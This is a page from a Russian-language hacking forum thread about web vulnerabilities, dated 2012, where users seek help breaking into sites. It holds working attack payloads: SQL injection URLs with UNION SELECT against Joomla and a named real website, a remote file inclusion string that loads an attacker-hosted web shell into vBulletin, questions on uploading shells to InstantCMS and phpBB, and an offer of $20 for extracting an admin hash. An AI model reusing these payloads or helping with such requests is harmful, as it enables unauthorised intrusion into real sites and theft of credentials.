HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2079 из 2438 « Первая < 10791579197920292069 2075 2076 2077 2078 2079 2080 2081 2082 2083 208921292179 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #20781  
Старый 05.06.2012, 18:11
LelouchMe
Новичок
Регистрация: 31.05.2012
Сообщений: 22
С нами: 7342166

Репутация: 0
По умолчанию
Вопрос: если в GET запросе в поле login=user ввести ' то фильтрация меняет кавычку на \' то есть на странице идёт вывод Логин: user\' это как-то можно обойти...? Заранее спс...
 
Ответить с цитированием

  #20782  
Старый 05.06.2012, 20:22
Ereee
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами: 7604246

Репутация: 267


По умолчанию
Цитата:
Сообщение от LelouchMe  
Вопрос: если в GET запросе в поле login=user ввести ' то фильтрация меняет кавычку на \' то есть на странице идёт вывод Логин: user\' это как-то можно обойти...? Заранее спс...
Нет.
 
Ответить с цитированием

  #20783  
Старый 05.06.2012, 23:57
Sleep
Участник форума
Регистрация: 31.10.2007
Сообщений: 193
С нами: 9752260

Репутация: 150
По умолчанию
Существует ли способ залить шелл через InstantCMS v1.9.1 ?

и какие есть еще способы залить шелл через phpbb 3.0.10.

редактировать стили не получается

Код:
Incorrect string value: '\xC1\xF0\xFF\xED\xF1\xEA...' for column 'template_data' at row 1 [1366]...
через восстановление бд тоже не катит (((
 
Ответить с цитированием

  #20784  
Старый 06.06.2012, 00:38
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию
Цитата:
Сообщение от Sleep  
Существует ли способ залить шелл через InstantCMS v1.9.1 ?
А через "Баннеры" пробовали? Это вроде единственный способ в ней, вроде!
 
Ответить с цитированием

  #20785  
Старый 06.06.2012, 09:24
promarketing
Новичок
Регистрация: 05.08.2011
Сообщений: 14
С нами: 7774166

Репутация: 0
По умолчанию
Joomla 1.5

index.php?option=com_weblinks&view=category&id=29& filter_order=%00'

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/site/www.site.com/libraries/joomla/database/database/mysql.php on line 344

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/site/www.site.com/libraries/joomla/database/database/mysql.php on line 344 Community Links

Warning: Invalid argument supplied for foreach() in /home/site_webmaster/www.site.com/components/com_weblinks/views/category/tmpl/default_items.php on line 38

$20 za pomosh v polycheniyy hasha admina esli vozmojno
 
Ответить с цитированием

  #20786  
Старый 06.06.2012, 10:19
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию
Цитата:
Сообщение от promarketing  
Joomla 1.5
index.php?option=
com_weblinks
&view=category&id=29&filter_order=%00'
Ну поиск то для кого ?

Цитата:
Сообщение от None  
################################################## ###############
# Securitylab.ir
################################################## ###############
# Application Info:
# Name: Joomla Component com_weblinks
################################################## ###############
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
################################################## ###############
Vulnerability:
http://site.com/index.php?option=com_weblinks&task=view&catid=8&id =-1 UNION SELECT 1,2,3,4,5
################################################## ###############
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.securitylab.ir
# Contacts: admin[at]securitylab.ir & whh_iran[AT]yahoo.com
################################################## #################
Взято отсюда

Exploit #1

Exploit #2
 
Ответить с цитированием

  #20787  
Старый 06.06.2012, 14:53
promarketing
Новичок
Регистрация: 05.08.2011
Сообщений: 14
С нами: 7774166

Репутация: 0
По умолчанию
Цитата:
Сообщение от BigBear  
Ну поиск то для кого ?
Взято
отсюда
Exploit #1
Exploit #2
tam sql inj ne v "id" a v "filter_order="

http://yehg.net/lab/pr0js/advisories/joomla/core/%5Bjoomla_1.5_21%5D_sql_injection
 
Ответить с цитированием

  #20788  
Старый 06.06.2012, 17:30
mr_zedox
Новичок
Регистрация: 30.04.2012
Сообщений: 25
С нами: 7386806

Репутация: 0
По умолчанию
Есть форум на vbulletin 3.8.4, есть эксплоит:

Цитата:
Сообщение от None  
[path]/includes/functions.php?$classfile=[shell].txt?
Шо за "path" и как здесь залить шел? ПРописать полный путь до шела на моем хосте? Вот так:

Цитата:
Сообщение от None  
[path]/includes/functions.php?$classfile=http://www.site.ru/shell.txt?
А дальше, как в php его запустить?
 
Ответить с цитированием

  #20789  
Старый 06.06.2012, 22:50
qaz
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами: 8334326

Репутация: 75


По умолчанию
http://www.mindsoul.ru/index.php?id=628

хелп, чёт ничего не выводит
 
Ответить с цитированием

  #20790  
Старый 06.06.2012, 22:55
smirk
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами: 7725206

Репутация: 26
По умолчанию
Цитата:
Сообщение от qaz  
http://www.mindsoul.ru/index.php?id=628
хелп, чёт ничего не выводит
http://www.mindsoul.ru/index.php?id=-628)+union+select+version()+--+

ток обрезает, надо через базед крутить..
 
Ответить с цитированием
Ответ
Страница 2079 из 2438 « Первая < 10791579197920292069 2075 2076 2077 2078 2079 2080 2081 2082 2083 208921292179 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.